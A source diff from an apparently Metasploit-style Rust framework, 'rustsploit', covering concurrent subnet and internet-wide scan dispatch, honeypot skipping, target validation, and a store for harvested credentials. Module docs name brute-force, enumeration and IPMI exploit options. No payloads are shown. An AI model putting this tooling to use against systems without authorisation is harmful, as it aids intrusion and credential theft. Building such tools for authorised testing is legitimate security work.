let fc = fail_count.clone();
|
||||
let tc = total.clone();
|
||||
let cat = category.clone();
|
||||
let mname = module_name.clone();
|
||||
let ip_str = ip.to_string();
|
||||
let pc = prompt_cache.clone();
|
||||
let cfg = parent_config.clone();
|
||||
|
||||
tokio::spawn(async move {
|
||||
if honeypot_enabled && crate::utils::network::quick_honeypot_check(&ip_str).await {
|
||||
crate::meprintln!("[!] Skipping {} — honeypot detected", ip_str);
|
||||
fc.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
return;
|
||||
}
|
||||
|
||||
let idx = tc.fetch_add(1, Ordering::Relaxed) + 1;
|
||||
if idx % progress_interval == 0 || idx == 1 {
|
||||
crate::mprintln!("[*] Progress: {}/{} hosts ({:.1}%) | {} ok | {} err",
|
||||
idx, host_count,
|
||||
(idx as f64 / host_count as f64) * 100.0,
|
||||
sc.load(Ordering::Relaxed),
|
||||
fc.load(Ordering::Relaxed));
|
||||
}
|
||||
let ctx = std::sync::Arc::new(crate::context::RunContext::with_prompt_cache(
|
||||
cfg, pc, ip_str.clone(),
|
||||
));
|
||||
let dispatch_result = crate::context::RUN_CONTEXT.scope(ctx, async {
|
||||
tokio::time::timeout(
|
||||
std::time::Duration::from_secs(module_timeout_secs),
|
||||
registry::dispatch_by_category(&cat, &mname, &ip_str),
|
||||
).await
|
||||
}).await;
|
||||
match dispatch_result {
|
||||
Ok(Ok(_)) => { sc.fetch_add(1, Ordering::Relaxed); }
|
||||
Ok(Err(e)) => {
|
||||
crate::meprintln!("[!] {} failed: {:?}", ip_str, e);
|
||||
fc.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
Err(_) => {
|
||||
fc.fetch_add(1, Ordering::Relaxed);
|
||||
tracing::debug!("Subnet {} timed out after {}s", ip_str, module_timeout_secs);
|
||||
}
|
||||
}
|
||||
drop(permit);
|
||||
});
|
||||
}
|
||||
|
||||
// Drain barrier: wait until all in-flight tasks release their permits.
|
||||
if let Err(e) = semaphore.acquire_many(concurrency as u32).await {
|
||||
crate::meprintln!("[!] Drain barrier failed (semaphore closed): {}", e);
|
||||
}
|
||||
|
||||
drop(batch_guard);
|
||||
print_scan_summary("Subnet Scan",
|
||||
host_count as usize,
|
||||
success_count.load(Ordering::Relaxed),
|
||||
fail_count.load(Ordering::Relaxed));
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// --- Single target ---
|
||||
if honeypot_enabled && crate::utils::network::quick_honeypot_check(target).await {
|
||||
crate::mprintln!("{}", format!(
|
||||
"[!] Target {} appears to be a honeypot (11+ common ports open) — skipping",
|
||||
target
|
||||
).red().bold());
|
||||
return Ok(());
|
||||
}
|
||||
registry::dispatch_by_category(category, module_name, target).await?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Generate a random IP address within a given network range.
|
||||
/// Works for both IPv4 and IPv6 subnets of any size, including private ranges.
|
||||
|
||||
|
||||
fn print_scan_summary(label: &str, total: usize, success: usize, failed: usize) {
|
||||
use colored::Colorize;
|
||||
crate::mprintln!("\n{}", format!("=== {} Summary ===", label).cyan().bold());
|
||||
crate::mprintln!(" Total: {}", total);
|
||||
crate::mprintln!(" {}", format!("Successful: {}", success).green());
|
||||
crate::mprintln!(" {}", format!("Failed: {}", failed).red());
|
||||
}
|
||||
|
||||
/// Helper to aggregate all available modules from generated registry
|
||||
pub fn discover_modules() -> Vec<String> {
|
||||
registry::all_modules()
|
||||
}
|
||||
|
||||
/// Check if any third-party plugins are loaded.
|
||||
pub fn plugin_count() -> usize {
|
||||
discover_modules().iter().filter(|m| m.starts_with("plugins/")).count()
|
||||
}
|
||||
|
||||
pub fn categories() -> &'static [&'static str] {
|
||||
registry::CATEGORIES
|
||||
}
|
||||
|
||||
pub fn has_check(module_path: &str) -> bool {
|
||||
let mut parts = module_path.splitn(2, '/');
|
||||
let category = match parts.next() { Some(c) => c, None => return false };
|
||||
let module_name = match parts.next() { Some(m) => m, None => return false };
|
||||
registry::check_available_by_category(category, module_name)
|
||||
}
|
||||
|
||||
pub fn module_info(module_path: &str) -> Option<crate::module_info::ModuleInfo> {
|
||||
let mut parts = module_path.splitn(2, '/');
|
||||
let category = parts.next()?;
|
||||
let module_name = parts.next()?;
|
||||
registry::info_by_category(category, module_name)
|
||||
}
|
||||
|
||||
/// Run a non-destructive vulnerability check if the module supports it.
|
||||
pub async fn check_module(module_path: &str, target: &str) -> Option<crate::module_info::CheckResult> {
|
||||
let mut parts = module_path.splitn(2, '/');
|
||||
let category = parts.next()?;
|
||||
let module_name = parts.next()?;
|
||||
registry::check_by_category(category, module_name, target).await
|
||||
}
|
||||
|
||||
@@ -0,0 +1 @@
|
||||
include!(concat!(env!("OUT_DIR"), "/plugins_dispatch.rs"));
|
||||
+1
-13
@@ -1,13 +1 @@
|
||||
use anyhow::Result;
|
||||
use crate::modules::scanners;
|
||||
|
||||
pub async fn run_scan(module_name: &str, target: &str) -> Result<()> {
|
||||
match module_name {
|
||||
"sample_scanner" => {
|
||||
scanners::sample_scanner::run(target).await?;
|
||||
},
|
||||
// Add more scanner modules here ...
|
||||
_ => eprintln!("Scanner module '{}' not found.", module_name),
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
include!(concat!(env!("OUT_DIR"), "/scanner_dispatch.rs"));
|
||||
|
||||
+399
@@ -0,0 +1,399 @@
|
||||
use std::collections::HashMap;
|
||||
use std::sync::{Arc, RwLock};
|
||||
|
||||
use anyhow::{anyhow, Result};
|
||||
use ipnetwork::IpNetwork;
|
||||
use regex::Regex;
|
||||
|
||||
/// Maximum length for target strings
|
||||
const MAX_TARGET_LENGTH: usize = 2048;
|
||||
|
||||
/// Maximum length for hostname
|
||||
const MAX_HOSTNAME_LENGTH: usize = 253;
|
||||
|
||||
/// Global configuration for the framework
|
||||
#[derive(Clone, Debug)]
|
||||
pub struct GlobalConfig {
|
||||
/// Global target - can be a single IP or CIDR subnet
|
||||
target: Arc<RwLock<Option<TargetConfig>>>,
|
||||
}
|
||||
|
||||
#[derive(Clone, Debug)]
|
||||
pub enum TargetConfig {
|
||||
/// Single IP address or hostname
|
||||
Single(String),
|
||||
/// CIDR subnet (e.g., "192.168.1.0/24")
|
||||
Subnet(IpNetwork),
|
||||
/// Comma-separated list of targets (IPs, hostnames, and/or CIDRs)
|
||||
Multi(Vec<String>),
|
||||
}
|
||||
|
||||
impl GlobalConfig {
|
||||
/// Create a new global configuration
|
||||
pub fn new() -> Self {
|
||||
Self {
|
||||
target: Arc::new(RwLock::new(None)),
|
||||
}
|
||||
}
|
||||
|
||||
/// Set the global target (IP, hostname, or CIDR subnet)
|
||||
pub fn set_target(&self, target: &str) -> Result<()> {
|
||||
let trimmed = target.trim();
|
||||
|
||||
// Basic validation
|
||||
if trimmed.is_empty() {
|
||||
return Err(anyhow!("Target cannot be empty"));
|
||||
}
|
||||
|
||||
// Length check
|
||||
if trimmed.len() > MAX_TARGET_LENGTH {
|
||||
return Err(anyhow!(
|
||||
"Target too long (max {} characters)",
|
||||
MAX_TARGET_LENGTH
|
||||
));
|
||||
}
|
||||
|
||||
// Check for control characters
|
||||
if trimmed.chars().any(|c| c.is_control()) {
|
||||
return Err(anyhow!("Target cannot contain control characters"));
|
||||
}
|
||||
|
||||
// Mass scan keywords: "random", "0.0.0.0" — store as-is
|
||||
if trimmed == "random" || trimmed == "0.0.0.0" {
|
||||
let mut target_guard = self.target.write().map_err(|_| anyhow!("Config lock poisoned"))?;
|
||||
*target_guard = Some(TargetConfig::Single(trimmed.to_string()));
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// File-based target list: resolve canonical path to prevent traversal,
|
||||
// then store if the file exists. This check must come before the ".."
|
||||
// rejection so relative file paths like "../targets.txt" work.
|
||||
let path = std::path::Path::new(trimmed);
|
||||
if path.exists() && path.is_file() {
|
||||
// Resolve to canonical path (eliminates .., symlinks, etc.)
|
||||
let canonical = path.canonicalize()
|
||||
.map_err(|e| anyhow!("Failed to resolve file path '{}': {}", trimmed, e))?;
|
||||
let canonical_str = canonical.to_string_lossy().to_string();
|
||||
if canonical_str.len() > MAX_TARGET_LENGTH {
|
||||
return Err(anyhow!(
|
||||
"Canonical path too long (max {} characters)",
|
||||
MAX_TARGET_LENGTH
|
||||
));
|
||||
}
|
||||
let mut target_guard = self.target.write().map_err(|_| anyhow!("Config lock poisoned"))?;
|
||||
*target_guard = Some(TargetConfig::Single(canonical_str));
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// Check for path traversal attempts (only for non-file targets)
|
||||
if trimmed.contains("..") || trimmed.contains("//") {
|
||||
return Err(anyhow!("Target contains invalid characters (path traversal)"));
|
||||
}
|
||||
|
||||
// Comma-separated multi-target: "10.0.0.1, 192.168.1.0/24, example.com"
|
||||
if trimmed.contains(',') {
|
||||
let targets: Vec<String> = trimmed
|
||||
.split(',')
|
||||
.map(|t| t.trim().to_string())
|
||||
.filter(|t| !t.is_empty())
|
||||
.collect();
|
||||
if targets.is_empty() {
|
||||
return Err(anyhow!("No valid targets in comma-separated list"));
|
||||
}
|
||||
if targets.len() == 1 {
|
||||
// Single target after parsing — recurse without comma
|
||||
return self.set_target(&targets[0]);
|
||||
}
|
||||
// Validate each individual target
|
||||
const MASS_SCAN_KEYWORDS: &[&str] = &["random", "0.0.0.0", "0.0.0.0/0"];
|
||||
for t in &targets {
|
||||
// Allow mass scan keywords, CIDRs, file paths, and hostnames/IPs
|
||||
if MASS_SCAN_KEYWORDS.contains(&t.as_str()) {
|
||||
continue;
|
||||
}
|
||||
if std::path::Path::new(t.as_str()).is_file() {
|
||||
continue;
|
||||
}
|
||||
if t.parse::<IpNetwork>().is_err() {
|
||||
Self::validate_hostname_or_ip(t)?;
|
||||
}
|
||||
}
|
||||
let mut target_guard = self.target.write().map_err(|_| anyhow!("Config lock poisoned"))?;
|
||||
*target_guard = Some(TargetConfig::Multi(targets));
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// Try to parse as CIDR subnet first
|
||||
if let Ok(network) = trimmed.parse::<IpNetwork>() {
|
||||
// No size limit enforced here - user can set 0.0.0.0/0 if they want.
|
||||
// Consumers (looping logic) must handle large subnets responsibly (e.g. via iterators).
|
||||
let mut target_guard = self.target.write().map_err(|_| anyhow!("Config lock poisoned"))?;
|
||||
*target_guard = Some(TargetConfig::Subnet(network));
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// Validate hostname/IP format
|
||||
Self::validate_hostname_or_ip(trimmed)?;
|
||||
|
||||
// Otherwise, treat as single IP or hostname
|
||||
let mut target_guard = self.target.write().map_err(|_| anyhow!("Config lock poisoned"))?;
|
||||
*target_guard = Some(TargetConfig::Single(trimmed.to_string()));
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Validates a hostname or IP address format
|
||||
fn validate_hostname_or_ip(target: &str) -> Result<()> {
|
||||
// Length check for hostname
|
||||
if target.len() > MAX_HOSTNAME_LENGTH {
|
||||
return Err(anyhow!(
|
||||
"Hostname too long (max {} characters)",
|
||||
MAX_HOSTNAME_LENGTH
|
||||
));
|
||||
}
|
||||
|
||||
// Check for valid characters
|
||||
// Allow: a-z, A-Z, 0-9, '.', '-', '_', ':', '[', ']' (for IPv6)
|
||||
static VALID_CHARS: once_cell::sync::Lazy<Regex> = once_cell::sync::Lazy::new(|| {
|
||||
Regex::new(r"^[a-zA-Z0-9.\-_:\[\]]+$").expect("hardcoded regex must compile")
|
||||
});
|
||||
let valid_chars = &*VALID_CHARS;
|
||||
if !valid_chars.is_match(target) {
|
||||
return Err(anyhow!(
|
||||
"Target contains invalid characters. Allowed: letters, numbers, '.', '-', '_', ':', '[', ']'"
|
||||
));
|
||||
}
|
||||
|
||||
// Check for spaces
|
||||
if target.contains(' ') {
|
||||
return Err(anyhow!("Target cannot contain spaces"));
|
||||
}
|
||||
|
||||
// Basic hostname format check (not starting/ending with special chars)
|
||||
if target.starts_with('.') || target.starts_with('-') {
|
||||
return Err(anyhow!("Target cannot start with '.' or '-'"));
|
||||
}
|
||||
|
||||
if target.ends_with('.') && !target.ends_with("..") {
|
||||
// Allow trailing dot for FQDN, but not double dots
|
||||
}
|
||||
|
||||
// Check for consecutive dots (invalid in hostnames)
|
||||
if target.contains("..") {
|
||||
return Err(anyhow!("Target cannot contain consecutive dots"));
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Get the global target as a single string (for display)
|
||||
pub fn get_target(&self) -> Option<String> {
|
||||
let guard = self.target.read().ok()?;
|
||||
guard.as_ref().map(|t| match t {
|
||||
TargetConfig::Single(ip) => ip.clone(),
|
||||
TargetConfig::Subnet(net) => net.to_string(),
|
||||
TargetConfig::Multi(targets) => targets.join(", "),
|
||||
})
|
||||
}
|
||||
|
||||
/// Check if global target is set
|
||||
pub fn has_target(&self) -> bool {
|
||||
self.target.read().map(|g| g.is_some()).unwrap_or(false)
|
||||
}
|
||||
|
||||
/// Check if global target is a subnet
|
||||
pub fn is_subnet(&self) -> bool {
|
||||
self.target.read().map(|g| matches!(g.as_ref(), Some(TargetConfig::Subnet(_)) | Some(TargetConfig::Multi(_)))).unwrap_or(false)
|
||||
}
|
||||
|
||||
/// Get the size of the target (number of IPs)
|
||||
/// For single IPs, returns 1
|
||||
/// For subnets, returns the subnet size without expanding
|
||||
pub fn get_target_size(&self) -> Option<u64> {
|
||||
let target_guard = self.target.read().ok()?;
|
||||
match target_guard.as_ref() {
|
||||
Some(TargetConfig::Single(_)) => Some(1),
|
||||
Some(TargetConfig::Subnet(net)) => {
|
||||
Some(Self::network_size(net))
|
||||
}
|
||||
Some(TargetConfig::Multi(targets)) => {
|
||||
let mut total = 0u64;
|
||||
for t in targets {
|
||||
if let Ok(net) = t.parse::<IpNetwork>() {
|
||||
total = total.saturating_add(Self::network_size(&net));
|
||||
} else {
|
||||
total = total.saturating_add(1);
|
||||
}
|
||||
}
|
||||
Some(total)
|
||||
}
|
||||
None => None,
|
||||
}
|
||||
}
|
||||
|
||||
/// Calculate the number of IPs in a network
|
||||
fn network_size(net: &IpNetwork) -> u64 {
|
||||
match net {
|
||||
IpNetwork::V4(net4) => {
|
||||
let prefix = net4.prefix() as u32;
|
||||
if prefix >= 32 { 1u64 } else { 2u64.pow(32 - prefix) }
|
||||
}
|
||||
IpNetwork::V6(net6) => {
|
||||
let prefix = net6.prefix() as u32;
|
||||
if prefix >= 128 {
|
||||
1u64
|
||||
} else {
|
||||
let exp = 128u32.saturating_sub(prefix);
|
||||
if exp > 63 { u64::MAX } else { 2u64.pow(exp) }
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Clear the global target
|
||||
pub fn clear_target(&self) {
|
||||
if let Ok(mut target_guard) = self.target.write() {
|
||||
*target_guard = None;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Global configuration instance
|
||||
use once_cell::sync::Lazy;
|
||||
|
||||
pub static GLOBAL_CONFIG: Lazy<GlobalConfig> = Lazy::new(|| GlobalConfig::new());
|
||||
|
||||
/// Module-level configuration for API-driven execution
|
||||
/// This is set by the API before running a module and read by modules
|
||||
/// to get pre-configured values instead of prompting the user
|
||||
///
|
||||
/// # Unified Prompt Keys
|
||||
///
|
||||
/// These are the standardized `custom_prompts` keys used across all
|
||||
/// scanner modules (via `cfg_prompt_*` in utils.rs). Supply them in the
|
||||
/// JSON `"prompts"` object of an API `/api/run` request.
|
||||
///
|
||||
/// ## Common Keys (used by many modules)
|
||||
/// | Key | Type | Description |
|
||||
/// |-------------------|--------|------------------------------------------------|
|
||||
/// | `port` | u16 | Target service port |
|
||||
/// | `timeout` | int | Connection/request timeout (seconds or ms) |
|
||||
/// | `verbose` | y/n | Verbose output |
|
||||
/// | `save_results` | y/n | Save results to file |
|
||||
/// | `output_file` | string | Output filename for results |
|
||||
/// | `concurrency` | int | Number of concurrent threads/tasks |
|
||||
/// | `threads` | int | Alias for concurrency (some modules) |
|
||||
/// | `wordlist` | path | Path to wordlist file |
|
||||
/// | `target_file` | path | Path to file containing targets |
|
||||
/// | `additional_targets` | string | Comma-separated additional targets |
|
||||
/// | `mode` | string | Operation mode selector (1, 2, 3, etc.) |
|
||||
///
|
||||
/// ## Scanner-Specific Keys
|
||||
///
|
||||
/// ### Port Scanner (`scanners/port_scanner`)
|
||||
/// `port_range`, `scan_method`, `show_only_open`, `ttl`, `source_port`, `data_length`
|
||||
///
|
||||
/// ### SSH Scanner (`scanners/ssh_scanner`)
|
||||
/// `load_from_file`, `target_file`
|
||||
///
|
||||
/// ### DNS Recursion (`scanners/dns_recursion`)
|
||||
/// `domain`, `record_type`
|
||||
///
|
||||
/// ### SMTP User Enum (`scanners/smtp_user_enum`)
|
||||
/// `timeout_ms`, `save_valid`, `valid_output`, `save_unknown`, `unknown_output`
|
||||
///
|
||||
/// ### Ping Sweep (`scanners/ping_sweep`)
|
||||
/// `add_manual_targets`, `manual_target`, `load_from_file`, `save_up_hosts`,
|
||||
/// `up_hosts_file`, `save_down_hosts`, `down_hosts_file`, `use_icmp`, `use_tcp`,
|
||||
/// `tcp_ports`, `use_syn`, `syn_ports`, `use_ack`, `ack_ports`
|
||||
///
|
||||
/// ### HTTP Title Scanner (`scanners/http_title_scanner`)
|
||||
/// `check_http`, `check_https`, `use_ports`, `ports`
|
||||
///
|
||||
/// ### HTTP Method Scanner (`scanners/http_method_scanner`)
|
||||
/// `scheme`, `use_ports`, `ports`
|
||||
///
|
||||
/// ### Dir Brute (`scanners/dir_brute`)
|
||||
/// `scan_mode`, `delay_ms`, `random_agent`, `custom_cookies`, `cookies`,
|
||||
/// `use_https`, `base_path`, `template_name`, `template_file`, `sort_by`
|
||||
///
|
||||
/// ### Sequential Fuzzer (`scanners/sequential_fuzzer`)
|
||||
/// `min_length`, `max_length`, `charset`, `custom_charset`, `encoding`,
|
||||
/// `add_cookies`, `cookies`, `append_slash`, `template_name`, `template_file`, `target_url`
|
||||
///
|
||||
/// ### API Endpoint Scanner (`scanners/api_endpoint_scanner`)
|
||||
/// `output_dir`, `use_spoofing`, `use_generic_payload`, `enable_delete`,
|
||||
/// `enable_extended_methods`, `modules`, `enum_mode`, `id_start`, `id_end`,
|
||||
/// `id_file`, `endpoint_source`, `base_path`, `endpoint_file`
|
||||
///
|
||||
/// ### IPMI Enum/Exploit (`scanners/ipmi_enum_exploit`)
|
||||
/// `cidr`, `target`, `test_cipher_zero`, `test_anonymous`, `test_default_creds`,
|
||||
/// `test_rakp_hash`, `continue_large_scan`, `destroy_confirm`
|
||||
///
|
||||
/// ### SSDP MSearch (`scanners/ssdp_msearch`)
|
||||
/// `retries`, `search_target`
|
||||
///
|
||||
/// ### Sample Scanner (`scanners/sample_scanner`)
|
||||
/// `check_http`, `check_https`
|
||||
#[derive(Clone, Debug)]
|
||||
pub struct ModuleConfig {
|
||||
pub custom_prompts: HashMap<String, String>,
|
||||
pub api_mode: bool,
|
||||
}
|
||||
|
||||
impl ModuleConfig {
|
||||
pub fn new() -> Self {
|
||||
Self::default()
|
||||
}
|
||||
}
|
||||
|
||||
impl Default for ModuleConfig {
|
||||
fn default() -> Self {
|
||||
Self {
|
||||
custom_prompts: HashMap::new(),
|
||||
api_mode: false,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Global module config instance (API-provided configuration)
|
||||
pub static MODULE_CONFIG: Lazy<Arc<RwLock<ModuleConfig>>> = Lazy::new(|| {
|
||||
Arc::new(RwLock::new(ModuleConfig::new()))
|
||||
});
|
||||
|
||||
/// Get a clone of the current module config.
|
||||
/// Checks the task-local RunContext first (for concurrent API runs),
|
||||
/// then falls back to the global MODULE_CONFIG.
|
||||
pub fn get_module_config() -> ModuleConfig {
|
||||
// Try task-local context first (set by API handler per-request)
|
||||
let task_local = crate::context::RUN_CONTEXT.try_with(|ctx| ctx.config.clone());
|
||||
if let Ok(config) = task_local {
|
||||
return config;
|
||||
}
|
||||
// Fallback to global (for CLI/shell mode)
|
||||
MODULE_CONFIG.read()
|
||||
.map(|g| g.clone())
|
||||
.unwrap_or_default()
|
||||
}
|
||||
|
||||
/// Get the per-request target from the task-local RunContext, if set.
|
||||
/// Returns `None` in shell/CLI mode or when no context is active.
|
||||
pub fn get_run_target() -> Option<String> {
|
||||
crate::context::RUN_CONTEXT
|
||||
.try_with(|ctx| ctx.target.clone())
|
||||
.ok()
|
||||
.flatten()
|
||||
}
|
||||
|
||||
pub fn results_dir() -> std::path::PathBuf {
|
||||
let dir = home::home_dir()
|
||||
.unwrap_or_else(|| std::path::PathBuf::from("."))
|
||||
.join(".rustsploit")
|
||||
.join("results");
|
||||
if !dir.exists() {
|
||||
use std::os::unix::fs::DirBuilderExt;
|
||||
if let Err(e) = std::fs::DirBuilder::new().mode(0o700).recursive(true).create(&dir) {
|
||||
eprintln!("[!] Failed to create results directory {}: {}", dir.display(), e);
|
||||
}
|
||||
}
|
||||
dir
|
||||
}
|
||||
+149
@@ -0,0 +1,149 @@
|
||||
// src/context.rs
|
||||
//
|
||||
// Per-run execution context using tokio task-locals.
|
||||
// Provides per-task ModuleConfig, target, and output accumulator
|
||||
// for concurrent API runs.
|
||||
|
||||
use std::collections::HashMap;
|
||||
use std::sync::Arc;
|
||||
use std::sync::atomic::{AtomicUsize, Ordering};
|
||||
|
||||
use crate::config::ModuleConfig;
|
||||
use crate::output::OutputAccumulator;
|
||||
|
||||
const MAX_PROMPT_CACHE_ENTRIES: usize = 256;
|
||||
|
||||
/// Shared prompt cache for mass scan / CIDR / file target modes.
|
||||
/// The first concurrent task to need a prompt key acquires the lock,
|
||||
/// prompts the user interactively, and caches the result. All subsequent tasks
|
||||
/// find the cached answer and skip the prompt entirely.
|
||||
pub type PromptCache = Arc<tokio::sync::Mutex<HashMap<String, String>>>;
|
||||
|
||||
/// Create a new empty prompt cache.
|
||||
pub fn new_prompt_cache() -> PromptCache {
|
||||
Arc::new(tokio::sync::Mutex::new(HashMap::new()))
|
||||
}
|
||||
|
||||
/// Try to insert into a prompt cache, respecting the size cap.
|
||||
/// Returns false if the cache is full (entry not inserted).
|
||||
pub fn cache_insert(map: &mut HashMap<String, String>, key: String, value: String) -> bool {
|
||||
if map.len() >= MAX_PROMPT_CACHE_ENTRIES && !map.contains_key(&key) {
|
||||
return false;
|
||||
}
|
||||
map.insert(key, value);
|
||||
true
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// GLOBAL BATCH MODE — fallback for when task-locals don't propagate
|
||||
// ============================================================
|
||||
|
||||
/// Refcount of active batch guards. Batch mode is active when > 0.
|
||||
static BATCH_REFCOUNT: AtomicUsize = AtomicUsize::new(0);
|
||||
static BATCH_CACHE: std::sync::LazyLock<PromptCache> = std::sync::LazyLock::new(new_prompt_cache);
|
||||
|
||||
static BATCH_GEN: std::sync::atomic::AtomicU64 = std::sync::atomic::AtomicU64::new(0);
|
||||
static CACHE_GEN: std::sync::atomic::AtomicU64 = std::sync::atomic::AtomicU64::new(0);
|
||||
|
||||
/// RAII guard that decrements the batch refcount on drop, even on early
|
||||
/// `?` returns or panics. Use `enter_batch_mode()` to obtain one.
|
||||
pub struct BatchGuard(());
|
||||
|
||||
impl Drop for BatchGuard {
|
||||
fn drop(&mut self) {
|
||||
BATCH_REFCOUNT.fetch_sub(1, Ordering::Release);
|
||||
}
|
||||
}
|
||||
|
||||
/// Activate global batch mode. Returns a guard that automatically
|
||||
/// deactivates it when dropped (including on `?` early returns).
|
||||
/// Nested/concurrent calls are safe — batch stays active until all guards drop.
|
||||
/// The cache is cleared lazily on first access in each new batch generation,
|
||||
/// so this function is lock-free and safe to call from async code.
|
||||
pub fn enter_batch_mode() -> BatchGuard {
|
||||
let prev = BATCH_REFCOUNT.fetch_add(1, Ordering::AcqRel);
|
||||
if prev == 0 {
|
||||
BATCH_GEN.fetch_add(1, Ordering::Release);
|
||||
}
|
||||
BatchGuard(())
|
||||
}
|
||||
|
||||
pub fn is_batch_active() -> bool {
|
||||
BATCH_REFCOUNT.load(Ordering::Acquire) > 0
|
||||
}
|
||||
|
||||
pub fn batch_cache() -> &'static PromptCache {
|
||||
&BATCH_CACHE
|
||||
}
|
||||
|
||||
pub fn batch_generation() -> u64 {
|
||||
BATCH_GEN.load(Ordering::Acquire)
|
||||
}
|
||||
|
||||
pub(crate) fn cache_generation() -> u64 {
|
||||
CACHE_GEN.load(Ordering::Acquire)
|
||||
}
|
||||
|
||||
pub(crate) fn set_cache_generation(generation: u64) {
|
||||
CACHE_GEN.store(generation, Ordering::Release);
|
||||
}
|
||||
|
||||
tokio::task_local! {
|
||||
/// Task-local run context. Set by the API/CLI dispatcher before invoking a module.
|
||||
/// Modules don't need to reference this directly — the `cfg_prompt_*` functions
|
||||
/// check it automatically.
|
||||
pub static RUN_CONTEXT: Arc<RunContext>;
|
||||
}
|
||||
|
||||
/// Per-run context carrying module config, target, and structured output accumulator.
|
||||
pub struct RunContext {
|
||||
/// Module configuration for this run (prompts, api_mode, etc.)
|
||||
pub config: ModuleConfig,
|
||||
/// Per-request target override (API mode). Shell mode leaves this None.
|
||||
pub target: Option<String>,
|
||||
/// Accumulated structured findings from this module run.
|
||||
pub output: OutputAccumulator,
|
||||
/// Shared prompt cache for concurrent dispatch modes.
|
||||
/// When set, `cfg_prompt_*` functions check this cache before prompting stdin.
|
||||
pub prompt_cache: Option<PromptCache>,
|
||||
}
|
||||
|
||||
impl RunContext {
|
||||
/// Create a new run context with config and target.
|
||||
pub fn with_target(config: ModuleConfig, target: String) -> Self {
|
||||
Self {
|
||||
config,
|
||||
target: Some(target),
|
||||
output: OutputAccumulator::new(),
|
||||
prompt_cache: None,
|
||||
}
|
||||
}
|
||||
|
||||
/// Create a run context with a shared prompt cache (for mass scan / CIDR modes).
|
||||
/// All concurrent tasks share the same cache so prompts are answered only once.
|
||||
pub fn with_prompt_cache(config: ModuleConfig, cache: PromptCache, target: String) -> Self {
|
||||
Self {
|
||||
config,
|
||||
target: Some(target),
|
||||
output: OutputAccumulator::new(),
|
||||
prompt_cache: Some(cache),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// HELPER: Run a future within a RunContext scope
|
||||
// ============================================================
|
||||
|
||||
/// Execute an async closure inside a task-local `RUN_CONTEXT` with a target.
|
||||
/// Returns the closure's result plus the `RunContext`.
|
||||
pub async fn run_with_context_target<F, Fut, T>(config: crate::config::ModuleConfig, target: String, f: F) -> (T, std::sync::Arc<RunContext>)
|
||||
where
|
||||
F: FnOnce() -> Fut,
|
||||
Fut: std::future::Future<Output = T>,
|
||||
{
|
||||
let ctx = std::sync::Arc::new(RunContext::with_target(config, target));
|
||||
let ctx_clone = ctx.clone();
|
||||
let result = RUN_CONTEXT.scope(ctx_clone, f()).await;
|
||||
(result, ctx)
|
||||
}
|
||||
@@ -0,0 +1,267 @@
|
||||
use std::path::PathBuf;
|
||||
|
||||
use colored::*;
|
||||
use once_cell::sync::Lazy;
|
||||
use serde::{Deserialize, Serialize};
|
||||
use tokio::sync::RwLock;
|
||||
|
||||
/// Type of credential stored.
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub enum CredType {
|
||||
Password,
|
||||
Hash,
|
||||
Key,
|
||||
Token,
|
||||
}
|
||||
|
||||
impl std::fmt::Display for CredType {
|
||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||
match self {
|
||||
CredType::Password => write!(f, "password"),
|
||||
CredType::Hash => write!(f, "hash"),
|
||||
CredType::Key => write!(f, "key"),
|
||||
CredType::Token => write!(f, "token"),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// A single credential entry.
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct CredEntry {
|
||||
pub id: String,
|
||||
pub host: String,
|
||||
pub port: u16,
|
||||
pub service: String,
|
||||
pub username: String,
|
||||
pub secret: String,
|
||||
pub cred_type: CredType,
|
||||
pub source_module: String,
|
||||
pub timestamp: String,
|
||||
pub valid: bool,
|
||||
}
|
||||
|
||||
/// Credential store backed by a JSON file.
|
||||
pub struct CredStore {
|
||||
entries: RwLock<Vec<CredEntry>>,
|
||||
file_path: PathBuf,
|
||||
}
|
||||
|
||||
impl CredStore {
|
||||
fn new() -> Self {
|
||||
let file_path = home::home_dir()
|
||||
.unwrap_or_else(|| PathBuf::from("."))
|
||||
.join(".rustsploit")
|
||||
.join("creds.json");
|
||||
|
||||
// Synchronous load at init time (called once from Lazy)
|
||||
let entries = if file_path.exists() {
|
||||
match std::fs::read_to_string(&file_path) {
|
||||
Ok(contents) => match serde_json::from_str(&contents) {
|
||||
Ok(data) => data,
|
||||
Err(e) => {
|
||||
eprintln!("[!] Warning: creds.json is corrupted ({}). Starting fresh.", e);
|
||||
let backup = file_path.with_extension("json.bak");
|
||||
if let Err(e) = std::fs::copy(&file_path, &backup) {
|
||||
eprintln!("[!] Failed to backup corrupted creds.json: {}", e);
|
||||
}
|
||||
Vec::new()
|
||||
}
|
||||
},
|
||||
Err(e) => {
|
||||
eprintln!("[!] Failed to read creds.json: {}", e);
|
||||
Vec::new()
|
||||
}
|
||||
}
|
||||
} else {
|
||||
Vec::new()
|
||||
};
|
||||
|
||||
Self {
|
||||
entries: RwLock::new(entries),
|
||||
file_path,
|
||||
}
|
||||
}
|
||||
|
||||
/// Maximum length for credential fields to prevent memory abuse.
|
||||
const MAX_FIELD_LEN: usize = 4096;
|
||||
|
||||
/// Add a credential. Returns `Some(id)` on success, `None` on validation failure.
|
||||
pub async fn add(
|
||||
&self,
|
||||
host: &str,
|
||||
port: u16,
|
||||
service: &str,
|
||||
username: &str,
|
||||
secret: &str,
|
||||
cred_type: CredType,
|
||||
source_module: &str,
|
||||
) -> Option<String> {
|
||||
// Input validation
|
||||
